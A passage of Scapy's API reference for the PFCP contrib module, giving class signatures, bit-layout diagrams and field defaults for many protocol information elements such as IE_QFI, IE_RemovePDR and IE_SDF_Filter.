IE_PagingPolicyIndicator fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (5 bits)

	0



	ppi

	BitField  (3 bits)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 158

	








	
class scapy.contrib.pfcp.IE_Precedence(_pkt, /, *, ietype=0, length=None, precedence=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L842-L848]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PRECEDENCE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_Precedence                        


IE_Precedence fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	precedence

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 29

	








	
class scapy.contrib.pfcp.IE_Proxying(_pkt, /, *, ietype=0, length=None, spare=0, INS=0, ARP=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2004-L2012]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   SPARE   |I|A|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IE_Proxying                         


IE_Proxying fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (6 bits)

	0



	INS

	BitField  (1 bit)

	0



	ARP

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 137

	








	
class scapy.contrib.pfcp.IE_QERCorrelationId(_pkt, /, *, ietype=0, length=None, id=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L833-L839]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_QERCorrelationId                     


IE_QERCorrelationId fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	id

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 28

	








	
class scapy.contrib.pfcp.IE_QER_Id(_pkt, /, *, ietype=0, length=None, id=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1722-L1728]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_QER_Id                          


IE_QER_Id fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	id

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 109

	








	
class scapy.contrib.pfcp.IE_QFI(_pkt, /, *, ietype=0, length=None, spare=None, QFI=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1890-L1897]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SPA|    QFI    |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_QFI                            


IE_QFI fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (2 bits)

	None



	QFI

	BitField  (6 bits)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 124

	








	
class scapy.contrib.pfcp.IE_QueryURR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L621-L623]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IE_QueryURR                         


IE_QueryURR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 77

	








	
class scapy.contrib.pfcp.IE_QueryURRReference(_pkt, /, *, ietype=0, length=None, reference=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1900-L1906]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           REFERENCE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_QueryURRReference                     


IE_QueryURRReference fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	reference

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 125

	








	
class scapy.contrib.pfcp.IE_QuotaHoldingTime(_pkt, /, *, ietype=0, length=None, time_value=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1380-L1386]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIME VALUE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_QuotaHoldingTime                     


IE_QuotaHoldingTime fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	time_value

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 71

	








	
class scapy.contrib.pfcp.IE_RQI(_pkt, /, *, ietype=0, length=None, spare=None, RQI=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1880-L1887]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SPARE    |R|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_RQI                            


IE_RQI fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (7 bits)

	None



	RQI

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 123

	








	
class scapy.contrib.pfcp.IE_RecoveryTimeStamp(_pkt, /, *, ietype=0, length=None, timestamp=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1596-L1603]

	Bases: IE_Base


	
aliastypes

	




	
default_length = 4

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_RecoveryTimeStamp                     


IE_RecoveryTimeStamp fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	timestamp

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 96

	








	
class scapy.contrib.pfcp.IE_RedirectInformation(_pkt, /, *, ietype=0, length=None, spare=0, type=0, address_length=None, address=b'', extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L950-L959]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SPARE |  TYPE |         ADDRESS LENGTH        |    ADDRESS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. IE_RedirectInformation                    


IE_RedirectInformation fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (4 bits)

	0



	type

	BitEnumField

	0



	address_length

	FieldLenField

	None



	address

	StrLenField

	b''



	extra_data

	ExtraDataField

	b''











	
ie_type = 38

	








	
class scapy.contrib.pfcp.IE_RemoteGTP_U_Peer(_pkt, /, *, ietype=0, length=None, spare_1=0, NI=0, DI=0, V4=0, V6=0, ipv4=0, ipv6=0, dest_interface_length=1, spare_2=0, dest_interface=0, network_instance_length=1, network_instance=b'', extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1660-L1686]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SPARE 1|N|D|V|V|                      IPV4                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      IPV6                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |DEST INTERFACE |SPARE 2|DEST IN|NETWORK INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        NETWORK INSTANCE       |   EXTRA DATA  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. IE_RemoteGTP_U_Peer                     


IE_RemoteGTP_U_Peer fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare_1

	XBitField  (4 bits)

	0



	NI

	BitField  (1 bit)

	0



	DI

	BitField  (1 bit)

	0



	V4

	BitField  (1 bit)

	0



	V6

	BitField  (1 bit)

	0



	ipv4

	IPField (Cond)

	0



	ipv6

	IP6Field (Cond)

	0



	dest_interface_length

	ByteField (Cond)

	1



	spare_2

	XBitField (Cond) (4 bits)

	0



	dest_interface

	BitEnumField (Cond)

	0



	network_instance_length

	FieldLenField (Cond)

	1



	network_instance

	APNStrLenField (Cond)

	b''



	extra_data

	ExtraDataField

	b''











	
ie_type = 103

	








	
class scapy.contrib.pfcp.IE_RemoveFAR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L581-L583]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_RemoveFAR                         


IE_RemoveFAR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 16

	








	
class scapy.contrib.pfcp.IE_RemovePDR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L576-L578]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_RemovePDR                         


IE_RemovePDR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 15

	








	
class scapy.contrib.pfcp.IE_RemoveQER(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L591-L593]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_RemoveQER                         


IE_RemoveQER fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 18

	








	
class scapy.contrib.pfcp.IE_RemoveTrafficEndpoint(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L696-L698]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IE_RemoveTrafficEndpoint                   


IE_RemoveTrafficEndpoint fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 130

	








	
class scapy.contrib.pfcp.IE_RemoveURR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L586-L588]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_RemoveURR                         


IE_RemoveURR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 17

	








	
class scapy.contrib.pfcp.IE_Remove_BAR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L656-L658]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_Remove_BAR                        


IE_Remove_BAR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 87

	








	
class scapy.contrib.pfcp.IE_ReportType(_pkt, /, *, ietype=0, length=None, spare=0, UPIR=0, ERIR=0, USAR=0, DLDR=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L962-L972]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SPARE |U|E|U|D|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_ReportType                        


IE_ReportType fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (4 bits)

	0



	UPIR

	BitField  (1 bit)

	0



	ERIR

	BitField  (1 bit)

	0



	USAR

	BitField  (1 bit)

	0



	DLDR

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 39

	








	
class scapy.contrib.pfcp.IE_ReportingTriggers(_pkt, /, *, ietype=0, length=None, linked_usage_reporting=0, dropped_dl_traffic_threshold=0, stop_of_traffic=0, start_of_traffic=0, quota_holding_time=0, time_threshold=0, volume_threshold=0, periodic_reporting=0, spare=0, event_quota=0, event_threshold=0, mac_addresses_reporting=0, envelope_closure=0, time_quota=0, volume_quota=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L927-L947]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|L|D|S|S|Q|T|V|P|SPA|E|E|M|E|T|V|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_ReportingTriggers                     


IE_ReportingTriggers fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	linked_usage_reporting

	BitField  (1 bit)

	0



	dropped_dl_traffic_threshold

	BitField  (1 bit)

	0



	stop_of_traffic

	BitField  (1 bit)

	0



	start_of_traffic

	BitField  (1 bit)

	0



	quota_holding_time

	BitField  (1 bit)

	0



	time_threshold

	BitField  (1 bit)

	0



	volume_threshold

	BitField  (1 bit)

	0



	periodic_reporting

	BitField  (1 bit)

	0



	spare

	XBitField  (2 bits)

	0



	event_quota

	BitField  (1 bit)

	0



	event_threshold

	BitField  (1 bit)

	0



	mac_addresses_reporting

	BitField  (1 bit)

	0



	envelope_closure

	BitField  (1 bit)

	0



	time_quota

	BitField  (1 bit)

	0



	volume_quota

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 37

	








	
class scapy.contrib.pfcp.IE_SDF_Filter(_pkt, /, *, ietype=0, length=None, spare=0, BID=0, FL=0, SPI=0, TTC=0, FD=0, spare_oct=0, flow_description_length=None, flow_description=b'', tos_traffic_class=0, tos_traffic_mask=0, security_parameter_index=0, flow_label=0, sdf_filter_id=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L762-L791]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SPARE|B|F|S|T|F|   SPARE OCT   |    FLOW DESCRIPTION LENGTH    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        FLOW DESCRIPTION       |TOS TRAFFIC CLA|TOS TRAFFIC MAS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    SECURITY PARAMETER INDEX                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           FLOW LABEL                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SDF FILTER ID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_SDF_Filter                        


IE_SDF_Filter fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (3 bits)

	0



	BID

	BitField  (1 bit)

	0



	FL

	BitField  (1 bit)

	0



	SPI

	BitField  (1 bit)

	0



	TTC

	BitField  (1 bit)

	0



	FD

	BitField  (1 bit)

	0



	spare_oct

	ByteField

	0



	flow_description_length

	FieldLenField (Cond)

	None



	flow_description

	StrLenField (Cond)

	b''



	tos_traffic_class

	ByteField (Cond)

	0



	tos_traffic_mask

	ByteField (Cond)

	0



	security_parameter_index

	IntField (Cond)

	0



	flow_label

	ThreeBytesField (Cond)

	0



	sdf_filter_id

	IntField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 23

	








	
class scapy.contrib.pfcp.IE_S_TAG(_pkt, /, *, ietype=0, length=None, spare_1=0, VID=0, DEI=0, PCP=0, svid_value_hi=0, spare_2=0, dei_flag=0, spare_3=0, pcp_value=0, spare_4=0, svid_value_low=0, spare_5=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1972-L1992]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SPARE 1 |V|D|P|SVID VA|SPARE 2|D|S|PCP V|SPARE| SVID VALUE LOW|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SPARE 5    |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_S_TAG                           


IE_S_TAG fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare_1

	XBitField  (5 bits)

	0



	VID

	BitField  (1 bit)

	0



	DEI

	BitField  (1 bit)

	0



	PCP

	BitField  (1 bit)

	0



	svid_value_hi

	BitField (Cond) (4 bits)

	0



	spare_2

	BitField (Cond) (4 bits)

	0



	dei_flag

	BitField (Cond) (1 bit)

	0



	spare_3

	BitField (Cond) (1 bit)

	0



	pcp_value

	BitField (Cond) (3 bits)

	0



	spare_4

